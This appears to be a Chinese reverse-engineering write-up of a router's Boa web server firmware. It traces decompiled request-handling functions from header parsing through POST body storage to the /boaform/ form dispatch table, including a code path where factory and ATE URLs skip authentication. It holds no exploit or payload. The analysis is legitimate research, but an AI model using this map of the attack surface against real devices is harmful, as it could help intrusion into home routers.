*(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0x7FF | 0x1000;
*(_DWORD *)(a1 + 56) = v10;
printf("%s:%d header end!\n", "read_header", 367);
}
goto LABEL_48;
}
v21 = *(_WORD *)(a1 + 8);
}
*(_WORD *)(a1 + 8) = v21 & 0x7FF | ((n2_2 & 0x1F) << 11);
*(_DWORD *)(a1 + 56) = v10;
}
LABEL_48:
if ( v2 )
DebugSaveWebReqInfo(a1, v10);
n0x20000000 = *(_DWORD *)(a1 + 8) & 0xF8000000;
++v10;
if ( n0x20000000 == 0x10000000 )
{
**(_BYTE **)(a1 + 56) = 0;
if ( *(_DWORD *)(a1 + 40) )
{
v26 = process_option_line(a1, n13_1);
v3 -= v26;
v10 -= v26;
if ( v26 )
v11 = 1;
*(_DWORD *)(a1 + 52) = v10;
}
else
{
if ( !process_logline(a1, n13_1) )
return 0;
if ( ((*(_DWORD *)(a1 + 8) >> 26) & 1) != 0 )
return process_header_end(a1, n13_2);
*(_DWORD *)(a1 + 52) = v10;
}
v2 = 0;
}
else
{
v2 = 0;
if ( n0x20000000 == 0x20000000 )
{
v28 = process_header_end(a1, n13_1);
*(_DWORD *)(a1 + 48) = &v10[-a1 - 1273];
if ( !v28 )
return 0;
result = v28;
if ( *(_DWORD *)(a1 + 36) == 4 )
{
v29 = *(_DWORD *)(a1 + 192);
if ( v29 )
{
g_filesize = atoi(v29);
*(_DWORD *)(a1 + 20) = g_filesize;
::g_filesize = g_filesize;
if ( g_filesize >= 0x1300001 )
{
printf(
"%s:%d req->filesize: %d > MAX_UPLOAD_FILESIZE: %d... reboot\n\n",
"read_header",
450,
g_filesize,
19922944);
cmd_reboot();
}
if ( *(_DWORD *)(a1 + 20) >= 0xF4241u )
cmd_killproc(-393225);
if ( !is_defined(21) )
{
printf("%s:%d drop vm cache...\n\n", "read_header", 466);
system("sync;echo 3 > /proc/sys/vm/drop_caches");
}
}
v31 = *(_DWORD *)(a1 + 244);
*(_DWORD *)(a1 + 24) = v12 - v10;
memcpy(v31, v10, v12 - v10);
v32 = *(_DWORD *)(a1 + 24);
v33 = *(_DWORD *)(a1 + 244);
*(_DWORD *)(a1 + 52) = v33;
*(_DWORD *)(a1 + 56) = v33 + v32;
v18 = v32 < *(_DWORD *)(a1 + 20);
result = v28;
if ( !v18 )
*(_DWORD *)(a1 + 144) = 2;
}
return result;
}
}
}
if ( (v13 & 0xF8000000) == 0 && request_type(a1) == -1 )
{
LABEL_82:
syslog(3, "malformed request: \"%s\"\n", *(const char **)(a1 + 40));
send_r_bad_request(a1);
return 0;
}
if ( v11 )
{
v3 = *(_DWORD *)(a1 + 48);
continue;
}
break;
}
result = 1;
if ( (*(_DWORD *)(a1 + 8) & 0xF8000000) == 0 )
{
n0x1000 = strlen(v5);
if ( n0x1000 >= 0x1000 )
{
printf("%s:%d buffer overflow %d\n", "read_header", 507, n0x1000);
syslog(3, "buffer overflow\n");
((void (__fastcall *)(int))send_r_entity_too_large)(a1);
return 0;
}
if ( !*v5 )
return 1;
goto LABEL_82;
}
return result;
}
|
大致流程就是:
1
2
3
4
5
6
7
|
process_requests()
→ read_header()
→ read()
→ 解析 HTTP 头
→ process_header_end()
→ POST:进入 read_body()
→ GET:进入后续 GET 处理
|
跟进了process_header_end(int request_ready, int n13)函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
|
int __fastcall process_header_end(int request_ready, int n13)
{
int request_ready_1; // $s0
int result; // $v0
int v4; // $v0
BOOL v5; // $s2
int v6; // $s3
int n4; // $v0
int v8; // $v0
bool v9; // dc
char _tmp_rtktmpXXXXXX_[144]; // [sp+18h] [-9Ch] BYREF
request_ready_1 = request_ready;
if ( !*(_DWORD *)(request_ready + 40) )
goto LABEL_9;
if ( *(_DWORD *)(request_ready + 200) )
log_user_agent();
result = translate_uri(request_ready_1, n13);
if ( !result )
{
*(_WORD *)(request_ready_1 + 8) = *(_WORD *)(request_ready_1 + 8) & 0xFC7F | 0x80;
return result;
}
if ( *(_DWORD *)(request_ready_1 + 236) == 1 )
{
v4 = mib_get(167, _tmp_rtktmpXXXXXX_);
request_ready = request_ready_1;
if ( v4 )
{
send_redirect_temp(request_ready_1, _tmp_rtktmpXXXXXX_);
return 0;
}
LABEL_9:
send_r_error(request_ready);
return 0;
}
v5 = 1;
if ( strncmp(request_ready_1 + 248, "/goform/ate", 11) )
v5 = strncmp(request_ready_1 + 248, "/goform/factory", 15) == 0;
v6 = strstr(request_ready_1 + 248, "/multiUserLogin");
if ( !strstr(request_ready_1 + 248, "/formMultiUserLogin") )
{
if ( v6 )
{
n4 = *(_DWORD *)(request_ready_1 + 36);
goto LABEL_21;
}
if ( v5 )
{
n4 = *(_DWORD *)(request_ready_1 + 36);
goto LABEL_21;
}
closelog();
openlog("boa", 1, 80);
if ( !auth_authorize(request_ready_1) )
{
openlog("boa", 1, 0);
return 0;
}
}
n4 = *(_DWORD *)(request_ready_1 + 36);
LABEL_21:
if ( n4 == 4 )
{
strcpy(_tmp_rtktmpXXXXXX_, "/tmp/rtktmpXXXXXX");
v8 = mkstemp64(_tmp_rtktmpXXXXXX_);
*(_DWORD *)(request_ready_1 + 160) = v8;
v9 = v8 == -1;
result = 0;
if ( !v9 )
{
*(_DWORD *)(request_ready_1 + 164) = strdup(_tmp_rtktmpXXXXXX_);
return 1;
}
}
else if ( *(_DWORD *)(request_ready_1 + 148) )
{
return init_get2(request_ready_1);
}
else
{
*(_WORD *)(request_ready_1 + 8) = *(_WORD *)(request_ready_1 + 8) & 0x7FF | 0x3000;
return ((int (__fastcall *)(_DWORD))init_get)(request_ready_1);
}
return result;
}
|
到这里看到了有关登录的函数模块:

HTTP 请求头解析完成后,做 URI、认证和请求类型分流,并决定下一步处理状态。
1
2
3
4
5
6
|
read_header()
→ process_header_end()
├─ translate_uri()
├─ auth_authorize()
├─ POST → 创建临时文件 → read_body()
└─ GET → init_get/init_get2()
|
它是一个HTTP 请求头结束后的路由/预处理函数。所以说不是我们要集中分析的地方,那我跳走了,返回process_requests函数。
跟进到read_body函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
int __fastcall read_body(int a1)
{
int v1; // $a1
int v2; // $t8
int v4; // $s1
int v5; // $t8
int v6; // $a0
__int16 v7; // $t8
int v8; // $v0
v1 = *(_DWORD *)(a1 + 56);
v2 = *(_DWORD *)(a1 + 20);
v4 = *(_DWORD *)(a1 + 52) - v1 + 4096;
if ( v2 )
{
v5 = v2 - *(_DWORD *)(a1 + 24);
if ( v5 < v4 )
v4 = v5;
}
if ( v4 > 0 )
{
v6 = *(_DWORD *)(a1 + 216);
if ( v6 )
v8 = SSL_read(v6, v1);
else
v8 = ((int (__fastcall *)(_DWORD, int))read)(*(_DWORD *)a1, v1);
if ( v8 == -1 )
{
if ( *(_DWORD *)_errno_location() != 11 )
{
boa_perror(a1, "read body");
return 0;
}
if ( *(_DWORD *)(a1 + 20) )
return -1;
v7 = *(_WORD *)(a1 + 8);
goto LABEL_7;
}
if ( !v8 )
{
*(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0x7FF | 0x2800;
*(_DWORD *)(a1 + 144) = 2;
}
*(_DWORD *)(a1 + 56) += v8;
*(_DWORD *)(a1 + 24) += v8;
if ( v8 != v4 )
return 1;
}
v7 = *(_WORD *)(a1 + 8);
LABEL_7:
*(_WORD *)(a1 + 8) = v7 & 0x7FF | 0x2800;
return 1;
}
|
偏移:
1
2
3
4
|
v1 = *(a1+56); // body缓冲区当前写入指针
v2 = *(a1+20); // Content‑Length,POST体总字节数
v4 = *(a1+52) - v1 + 4096; // 缓冲区剩余可用空间
*(a1+24) // 已经接收的body字节计数
|
大致逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
v4 = 缓冲区剩余空间;
if ( v2 ){
v5 = v2 - *(a1+24); //还需要接收多少字节body
if(v5 < v4)
v4 = v5; //取二者更小值:最多读v4字节
}
if ( v4 > 0 )
{
// HTTPS用SSL_read,普通HTTP用read,读到body缓冲区v1位置
if ( v6 )
v8 = SSL_read(v6, v1);
else
v8 = read(*(a1), v1);
if ( v8 == -1 )
{
// errno ==11 → EAGAIN,数据没就绪,返回‑1做IO阻塞
if ( *(_DWORD *)_errno_location() != 11 )
{
boa_perror(a1, "read body");
return 0;
}
if ( *(_DWORD *)(a1 + 20) )
return -1;
goto LABEL_7;
}
if ( !v8 ){
// read返回0:客户端断开
*(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0x7FF | 0x2800;
*(_DWORD *)(a1 + 144) = 2;
}
// 更新指针、已接收计数
*(a1 + 56) += v8; // body写指针向后移动v8
*(a1 + 24) += v8; // 累计收到的body字节+ v8
if ( v8 != v4 )
return 1; //本次没读完,返回1,下一轮继续读取body
}
// body全部接收完成
LABEL_7:
*(_WORD *)(a1 + 8) = v7 & 0x7FF | 0x2800; // 修改request状态标记:body接收完毕
return 1;
|
read_header() → 解析HTTP头,拿到Content‑Length;
→ request状态置state=4;
→ process_requests 调用 read_body() 循环接收POST body;
→ body全部接收完成,设置状态标记0x2800;
→ 下一轮状态机会跳到 state=5 → write_body(),正式解析 POST 表单参数并分发业务处理。
就到了case5了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
int __fastcall write_body(int a1)
{
int v1; // $s2
int v2; // $a1
int v3; // $s1
int v5; // $t8
int n2; // $v0
_DWORD *v8; // $v0
int v9; // $t8
int v10; // $v0
v2 = *(_DWORD *)(a1 + 52);
v3 = *(_DWORD *)(a1 + 56) - v2;
if ( *(_DWORD *)(a1 + 56) == v2 )
{
v5 = *(_DWORD *)(a1 + 244);
n2 = *(_DWORD *)(a1 + 144);
*(_DWORD *)(a1 + 56) = v5;
*(_DWORD *)(a1 + 52) = v5;
if ( n2 == 2 || *(_DWORD *)(a1 + 24) >= *(_DWORD *)(a1 + 20) )
return init_form();
*(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0x7FF | 0x2000;
return 1;
}
if ( (unsigned int)g_max_upload_size < *(_DWORD *)(a1 + 24) || (v1 = write(*(_DWORD *)(a1 + 160), v2, v3), v1 != -1) )
{
v10 = *(_DWORD *)(a1 + 52);
if ( (unsigned int)g_max_upload_size < *(_DWORD *)(a1 + 24) )
*(_DWORD *)(a1 + 52) = v10 + v3;
else
*(_DWORD *)(a1 + 52) = v10 + v1;
return 1;
}
v8 = (_DWORD *)_errno_location();
v9 = -2;
if ( *v8 == 11 )
return -1;
return v9;
}
|
只需关注它如何把 POST body 交给表单处理。
开头:
1
2
|
v2 = *(_DWORD *)(a1 + 52);
v3 = *(_DWORD *)(a1 + 56) - v2;
|
a1 = request 结构体
a1 + 52 = 当前写入起点
a1 + 56 = 当前数据末端
v2 = 本次待写数据地址
v3 = 本次待写数据长度
这里其实挺明显的能知道它是数据的,你就看a1 + 52和a1 + 52,这俩相减就是4,也就是4字节,恰好对应了程序是32位mips架构,那64位就是8字节单位。
对于判断分支1语句:
1
|
if (*(DWORD *)(a1 + 56) == *(DWORD *)(a1 + 52))
|
两者相等,说明当前缓冲区没有待写数据。
进入该分支后,看它是否:
- 检查已接收长度;
- 改变请求状态;
- 调用下一函数;
- 返回值是什么。
对于判断分支2语句:
1
|
if ( (unsigned int)g_max_upload_size < *(_DWORD *)(a1 + 24) || (v1 = write(*(_DWORD *)(a1 + 160), v2, v3), v1 != -1) )
|
- a1 + 160 = 前面创建的临时文件描述符;
- v2 = POST body 数据;
- v3 = 当前写入长度。
然后观察 a1 + 52 如何更新:
1
|
*(DWORD *)(a1 + 52) += 写入长度
|
这说明每次调用只把当前缓冲区中的 POST 数据写入临时文件,并推进写指针。
还有最后一个判断分支语句,不多详细解释了,顺着返回值分析,write_body()函数有三类结果:
- 返回 1 → 请求继续保留,状态机下一轮继续
- 返回 -1 → 暂时阻塞,等待 socket/资源再次可用
- 返回 -2/其它 → 写入错误,进入错误处理
对于返回 1:
1
2
3
4
5
6
7
8
9
10
11
|
if ( *(_DWORD *)(a1 + 56) == v2 )
{
v5 = *(_DWORD *)(a1 + 244);
n2 = *(_DWORD *)(a1 + 144);
*(_DWORD *)(a1 + 56) = v5;
*(_DWORD *)(a1 + 52) = v5;
if ( n2 == 2 || *(_DWORD *)(a1 + 24) >= *(_DWORD *)(a1 + 20) )
return init_form();
*(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0x7FF | 0x2000;
return 1;
}
|
它有两条路径:
- body 未完成 → 更新写指针 → return 1;
- body 已完成 → 状态改变或调用后续处理 → 看实际 return。
正常都是走分支1的程序的,分支1最后走return init_form();。
跟进init_form:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
int __fastcall init_form(int a1)
{
int v2; // $a1
_BYTE v4[160]; // [sp+20h] [-A0h] BYREF
*(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0xFC7F | 0x80;
complete_env();
fstat64(*(_DWORD *)(a1 + 160), v4);
if ( *(_DWORD *)(a1 + 36) == 4 )
lseek64(*(_DWORD *)(a1 + 160), v2, 0, 0, 2);
*(_WORD *)(a1 + 8) = *(_WORD *)(a1 + 8) & 0x7FF | 0x4800;
handleForm(a1);
return 1;
}
|
它的作用是:
- 标记当前请求进入表单处理阶段;
- 完成 CGI 环境变量准备:
complete_env()函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
|
int __fastcall complete_env(int a1)
{
int v2; // $t8
int v3; // $v0
int default_type; // $a1
int v5; // $a1
int v6; // $t8
int v7; // $s1
int v8; // $t8
int v9; // $s1
int v10; // $a1
int v11; // $a1
int v12; // $t8
int v13; // $s1
int v14; // $v0
int *v15; // $s1
int v16; // $t8
int v17; // $s1
int v18; // $a1
int v19; // $a1
int v20; // $t8
int v21; // $s1
int v22; // $a1
int v23; // $t8
int v24; // $s1
int v25; // $a1
int v26; // $t8
int v27; // $s1
int v28; // $t8
int v29; // $s1
int v30; // $v0
int *v31; // $s1
int v32; // $t8
int v33; // $s1
int v34; // $a0
int v35; // $v0
_DWORD *v36; // $s1
int v37; // $a1
int v38; // $t8
int v39; // $s1
int v40; // $a1
int v41; // $t8
int v42; // $s1
int v43; // $t8
int v44; // $s1
int result; // $v0
if ( *(_DWORD *)(a1 + 36) == 4 )
{
v2 = *(_DWORD *)(a1 + 156);
v3 = *(_DWORD *)(a1 + 152);
default_type = *(_DWORD *)(a1 + 188);
*(_DWORD *)(a1 + 156) = v2 + 1;
if ( !default_type )
default_type = ::default_type;
*(_DWORD *)(v3 + 4 * v2) = env_gen_extra("CONTENT_TYPE", default_type, 0);
v5 = *(_DWORD *)(a1 + 192);
if ( v5 )
{
v6 = *(_DWORD *)(a1 + 156);
v7 = *(_DWORD *)(a1 + 152);
*(_DWORD *)(a1 + 156) = v6 + 1;
*(_DWORD *)(v7 + 4 * v6) = env_gen_extra("CONTENT_LENGTH", v5, 0);
}
}
v8 = *(_DWORD *)(a1 + 156);
v9 = *(_DWORD *)(a1 + 152);
v10 = *(_DWORD *)(a1 + 68);
*(_DWORD *)(a1 + 156) = v8 + 1;
*(_DWORD *)(v9 + 4 * v8) = env_gen_extra("SERVER_PROTOCOL", v10, 0);
v11 = *(_DWORD *)(a1 + 168);
if ( v11 )
{
v12 = *(_DWORD *)(a1 + 156);
v13 = *(_DWORD *)(a1 + 152);
*(_DWORD *)(a1 + 156) = v12 + 1;
v15 = (int *)(v13 + 4 * v12);
v14 = env_gen_extra("PATH_INFO", v11, 0);
v16 = *(_DWORD *)(a1 + 156);
*v15 = v14;
v17 = *(_DWORD *)(a1 + 152);
v18 = *(_DWORD *)(a1 + 172);
*(_DWORD *)(a1 + 156) = v16 + 1;
*(_DWORD *)(v17 + 4 * v16) = env_gen_extra("PATH_TRANSLATED", v18, 0);
}
v19 = *(_DWORD *)(a1 + 176);
if ( v19 )
{
v20 = *(_DWORD *)(a1 + 156);
v21 = *(_DWORD *)(a1 + 152);
*(_DWORD *)(a1 + 156) = v20 + 1;
*(_DWORD *)(v21 + 4 * v20) = env_gen_extra("SCRIPT_NAME", v19, 0);
}
v22 = *(_DWORD *)(a1 + 180);
if ( v22 )
{
v23 = *(_DWORD *)(a1 + 156);
v24 = *(_DWORD *)(a1 + 152);
*(_DWORD *)(a1 + 156) = v23 + 1;
*(_DWORD *)(v24 + 4 * v23) = env_gen_extra("QUERY_STRING", v22, 0);
}
v25 = *(_DWORD *)(a1 + 184);
if ( v25 )
{
v26 = *(_DWORD *)(a1 + 156);
v27 = *(_DWORD *)(a1 + 152);
*(_DWORD *)(a1 + 156) = v26 + 1;
*(_DWORD *)(v27 + 4 * v26) = env_gen_extra("HTTP_COOKIE", v25, 0);
*(_DWORD *)(a1 + 184) = 0;
}
v28 = *(_DWORD *)(a1 + 156);
v29 = *(_DWORD *)(a1 + 152);
*(_DWORD *)(a1 + 156) = v28 + 1;
v31 = (int *)(v29 + 4 * v28);
v30 = env_gen_extra("REMOTE_ADDR", a1 + 80, 0);
v32 = *(_DWORD *)(a1 + 156);
*v31 = v30;
v33 = *(_DWORD *)(a1 + 152);
v34 = *(_DWORD *)(a1 + 132);
*(_DWORD *)(a1 + 156) = v32 + 1;
v36 = (_DWORD *)(v33 + 4 * v32);
v35 = simple_itoa(v34);
*v36 = env_gen_extra("REMOTE_PORT", v35, 0);
v37 = *(_DWORD *)(a1 + 200);
if ( v37 )
{
v38 = *(_DWORD *)(a1 + 156);
v39 = *(_DWORD *)(a1 + 152);
*(_DWORD *)(a1 + 156) = v38 + 1;
*(_DWORD *)(v39 + 4 * v38) = env_gen_extra("HTTP_USER_AGENT", v37, 0);
}
v40 = *(_DWORD *)(a1 + 196);
if ( v40 )
{
v41 = *(_DWORD *)(a1 + 156);
v42 = *(_DWORD *)(a1 + 152);
*(_DWORD *)(a1 + 156) = v41 + 1;
*(_DWORD *)(v42 + 4 * v41) = env_gen_extra("HTTP_REFERER", v40, 0);
}
v43 = *(_DWORD *)(a1 + 156);
if ( *(_BYTE *)(a1 + 220) )
{
v44 = *(_DWORD *)(a1 + 152);
*(_DWORD *)(a1 + 156) = v43 + 1;
*(_DWORD *)(v44 + 4 * v43) = env_gen_extra("REMOTE_USER", a1 + 220, 0);
v43 = *(_DWORD *)(a1 + 156);
}
result = *(_DWORD *)(a1 + 152);
*(_DWORD *)(result + 4 * v43) = 0;
return result;
}
|
为 CGI/form 子程序组装环境变量数组,供后续表单处理使用。
当前数据流:POST 请求头/body
→ request 结构体字段
→ complete_env()
→ 构造 CGI 环境变量
→ handleForm()
它下一步还是会回到 init_form(),进入它的直接调用,所以说它不是解析 POST 参数,这里我们可以跳过的。
接下来这几步的作用:
fstat64():获取临时文件信息;
lseek64(..., 2):POST 请求下调整临时文件位置;
- 修改 request 状态;
- 直接调用
handleForm(a1)。
当前链路变成:read_header()
→ read_body()
→ write_body()
→ init_form()
→ handleForm()
然后跟进handleForm()函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
|
int __fastcall handleForm(int a1)
{
int v1; // $s2
int v3; // $s6
const char *_boaform_admin; // $a0
int v5; // $a0
int v7; // $s6
int root_form; // $s2
int v9; // $s3
int v10; // $s4
int v11; // $s1
int v12; // $a1
_BYTE *v13; // $a2
int n13; // $t8
_BYTE *v15; // $s3
int Var; // $v0
int v17; // $v0
char *v18; // $fp
char *v19; // $s7
int v20; // $t8
char *v21; // $a0
unsigned int v22; // $v1
int v23; // $v0
char *v24; // $a3
bool v25; // dc
int v26; // $v0
unsigned int v27; // $t8
int v28; // $a2
int v29; // $t0
int v30; // $v0
_BYTE *v31; // $v1
int n68; // $t1
int n65; // $t0
int n37; // $s7
char *v35; // $a1
unsigned int n6; // $v0
char *v37; // $a1
char *v38; // $v0
char *v39; // $v0
int v40; // $s3
int i; // $s1
char v42[60]; // [sp+20h] [-B8h] BYREF
int v43; // [sp+5Ch] [-7Ch]
int v44; // [sp+C0h] [-18h]
int v45; // [sp+C4h] [-14h]
_BYTE *v46; // [sp+C8h] [-10h]
char *v47; // [sp+CCh] [-Ch]
int n68_1; // [sp+D0h] [-8h]
int n65_1; // [sp+D4h] [-4h]
v1 = a1 + 248;
v3 = strstr(a1 + 248, "/boaform/admin/");
_boaform_admin = "/boaform/admin/";
if ( !v3 )
{
v3 = strstr(v1, "/boaform/");
_boaform_admin = "/boaform/";
if ( !v3 )
{
v5 = a1;
return ((int (__fastcall *)(int))send_r_not_found)(v5);
}
}
v7 = v3 + strlen(_boaform_admin);
root_form = ::root_form;
if ( *(_DWORD *)(a1 + 36) == 4 )
{
fstat64(*(_DWORD *)(a1 + 160), v42);
v9 = v43;
v10 = v43 + 1;
v11 = malloc(v43 + 1);
if ( !v11 )
return send_r_bad_request(a1);
lseek64(*(_DWORD *)(a1 + 160), v12, 0, 0, 0);
read(*(_DWORD *)(a1 + 160), v11, v9);
v13 = (_BYTE *)(v11 + v9 - 1);
*(_BYTE *)(v11 + v9) = 0;
while ( (int)&v13[-v11] > 0 )
{
n13 = (char)*v13;
if ( n13 == 10 )
{
*v13 = 0;
}
else
{
if ( n13 != 13 )
break;
*v13 = 0;
}
--v13;
}
v15 = (_BYTE *)strstr(v11, "postSecurityFlag");
if ( v15 )
{
Var = boaGetVar(a1, "postSecurityFlag", "");
v18 = (char *)v11;
v17 = strtoul(Var, 0, 10);
*v15 = 0;
v44 = v17;
v19 = 0;
v20 = strlen(v11);
LABEL_16:
v21 = v18;
v22 = 0;
v23 = 0;
while ( 1 )
{
if ( v23 >= v20 )
goto LABEL_24;
if ( v23 + 3 >= v20 )
break;
v23 += 4;
v28 = (*v21 << 24) + (v21[1] << 16);
v29 = v21[2];
v21 += 4;
v22 += v28 + (v29 << 8) + *(v21 - 1);
}
v24 = &v18[v23];
v22 += v18[v23] << 24;
v25 = v23 + 1 >= v20;
v26 = v23 + 2;
if ( !v25 )
v22 += v24[1] << 16;
v25 = v26 >= v20;
v27 = HIWORD(v22);
if ( !v25 )
{
v22 += v24[2] << 8;
LABEL_24:
v27 = HIWORD(v22);
}
if ( v44 != (unsigned __int16)~(v22 + v27) )
{
if ( v19 )
{
free(v11);
free(v19);
}
else
{
v30 = malloc(v10);
v18 = (char *)v30;
if ( v30 )
{
memset(v30, 0, v10);
v31 = (_BYTE *)v11;
v20 = 0;
n68 = 68;
n65 = 65;
while ( 1 )
{
while ( 1 )
{
n37 = (char)*v31;
if ( !*v31 )
{
v19 = v18;
goto LABEL_16;
}
v35 = &v18[v20];
if ( n37 != 37 )
break;
v46 = v31;
v47 = &v18[v20];
n65_1 = n65;
n68_1 = n68;
v45 = v20;
n6 = strlen(v31);
v31 = v46;
v37 = v47;
n65 = n65_1;
n68 = n68_1;
v20 = v45;
if ( n6 < 6 )
{
*v47 = 37;
LABEL_48:
++v31;
++v20;
}
else
{
if ( v46[1] != 48 )
{
*v47 = 37;
goto LABEL_48;
}
if ( (char)v46[2] != n68_1 )
{
*v47 = 37;
goto LABEL_48;
}
if ( v46[3] != 37 )
{
*v47 = 37;
goto LABEL_48;
}
if ( v46[4] != 48 )
{
*v47 = 37;
goto LABEL_48;
}
if ( (char)v46[5] != n65_1 )
{
*v47 = 37;
goto LABEL_48;
}
v38 = &v18[v45 + 2];
*v47 = 37;
v37[1] = 48;
v20 += 3;
*v38 = n65;
v31 += 6;
}
}
if ( n37 != 64 )
{
*v35 = n37;
goto LABEL_48;
}
v35[1] = 52;
v39 = &v18[v20 + 2];
*v35 = 37;
v20 += 3;
*v39 = 48;
++v31;
}
}
}
return send_r_bad_request(a1);
}
}
else
{
v19 = 0;
}
free(v11);
if ( v19 )
free(v19);
}
v40 = strlen(v7);
for ( i = *(_DWORD *)root_form; v40 != strlen(i) || memcmp(v7, i, v40); i = *(_DWORD *)root_form )
{
root_form = *(_DWORD *)(root_form + 8);
if ( !root_form )
{
v5 = a1;
return ((int (__fastcall *)(int))send_r_not_found)(v5);
}
}
if ( strncmp(i, "voip_config_load", 16) )
{
send_r_request_ok(a1);
(*(void (__fastcall **)(int, _DWORD, _DWORD))(root_form + 4))(a1, 0, 0);
}
else
{
(*(void (__fastcall **)(int, _DWORD, _DWORD))(root_form + 4))(a1, 0, 0);
send_r_request_ok(a1);
}
return freeAllTempStr();
}
|
URL 前缀识别
1
2
3
4
5
|
v3 = strstr(a1 + 248, "/boaform/admin/");
if (!v3)
v3 = strstr(a1 + 248, "/boaform/");
if (!v3)
return send_r_not_found(a1);
|
确认请求 URI 是 /boaform/...,并定位 form 名称起点。
提取表单名
1
|
v7 = v3 + strlen(_boaform_admin);
|
对于/boaform/formLoopBack,就得到v7 = "formLoopBack",接着然后v40 = strlen(v7);得到表单名称长度。
POST 数据预处理
只有*(_DWORD *)(a1 + 36) == 4时才执行:
1
2
3
4
5
6
|
fstat64(临时文件)
malloc(body长度 + 1)
lseek64(临时文件, 0, SEEK_SET)
read(临时文件, body缓冲区)
末尾补 '\0'
去除末尾 CR/LF
|
如果 body 中包含:postSecurityFlag,就会:
1
2
3
4
|
boaGetVar(a1, "postSecurityFlag", "")
strtoul(...)
计算校验值
校验失败 → send_r_bad_request()
|
这段处理的是 POST body 校验。
表单分发表查找
1
2
3
4
5
6
7
|
for (i = *root_form; ...)
{
if (表单名匹配)
break;
root_form = root_form->next;
}
|
节点结构:
- root_form + 0:表单名称
- root_form + 4:处理函数地址(handler)
- root_form + 8:下一个节点
找不到直接爆404not found:

1
2
3
4
5
6
7
8
|
v3 = strstr(a1 + 248, "/boaform/admin/");
if ( !v3 )
{
v3 = strstr(v1, "/boaform/");
if ( !v3 )
return send_r_not_found(a1); //不是boaform路径直接404
}
v7 = v3 + strlen(_boaform_admin); //拿到表单脚本名字,例如 voip_config_load
|
如果遍历完 root_form 仍没找到匹配项就是通过send_r_not_found(a1);去爆404not found,也就是函数结束了。
找到了,就是:
1
2
3
4
5
6
7
8
9
10
|
if ( strncmp(i, "voip_config_load", 16) )
{
send_r_request_ok(a1);
handler(a1, 0, 0);
}
else
{
handler(a1, 0, 0);
send_r_request_ok(a1);
}
|
再判断是否是特殊表单:strncmp(i, "voip_config_load", 16)
反正就是找到匹配项了就执行send_r_request_ok(a1);这个函数,跟进查看一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
void __fastcall send_r_request_ok(_DWORD *a1)
{
int v2; // $a1
a1[18] = 200;
if ( ((a1[2] >> 26) & 1) == 0 )
{
req_write(a1, "HTTP/1.0 200 OK\r\n");
print_http_headers(a1);
if ( !strcmp(a1 + 62, "/favicon.ico")
|| !strcmp(a1 + 62, "/graphics/top_bg.jpg")
|| !strcmp(a1 + 62, "/admin/style.css") )
{
req_write(a1, "Pragma: no-cache\r\n");
req_write(a1, "Cache-Control: no-cache\r\n");
}
if ( a1[37] )
{
a1[47] = "text/html";
print_content_type(a1);
v2 = a1[46];
if ( v2 )
{
req_write(a1, v2);
req_write(a1, "\r\n");
}
}
else
{
print_content_type(a1);
print_content_length(a1);
print_last_modified(a1);
}
req_write(a1, "\r\n");
}
}
|

这个地方其实没啥用,就是构造并发送 HTTP 200 响应头。
表单处理
看回刚刚的那个地方:

有特殊表单和普通表单,两者最后都是构造并发送 HTTP 200 响应头的。
对于strncmp(i, "voip_config_load", 16),要注意 strncmp() 返回 0 表示相等:
普通表单的流程是:
1
2
3
4
|
找到表单
→ 发送 200 OK
→ 调用表单处理函数
→ freeAllTempStr()
|
而 voip_config_load 是特殊顺序:
1
2
3
4
|
找到表单
→ 调用处理函数
→ 发送 200 OK
→ freeAllTempStr()
|
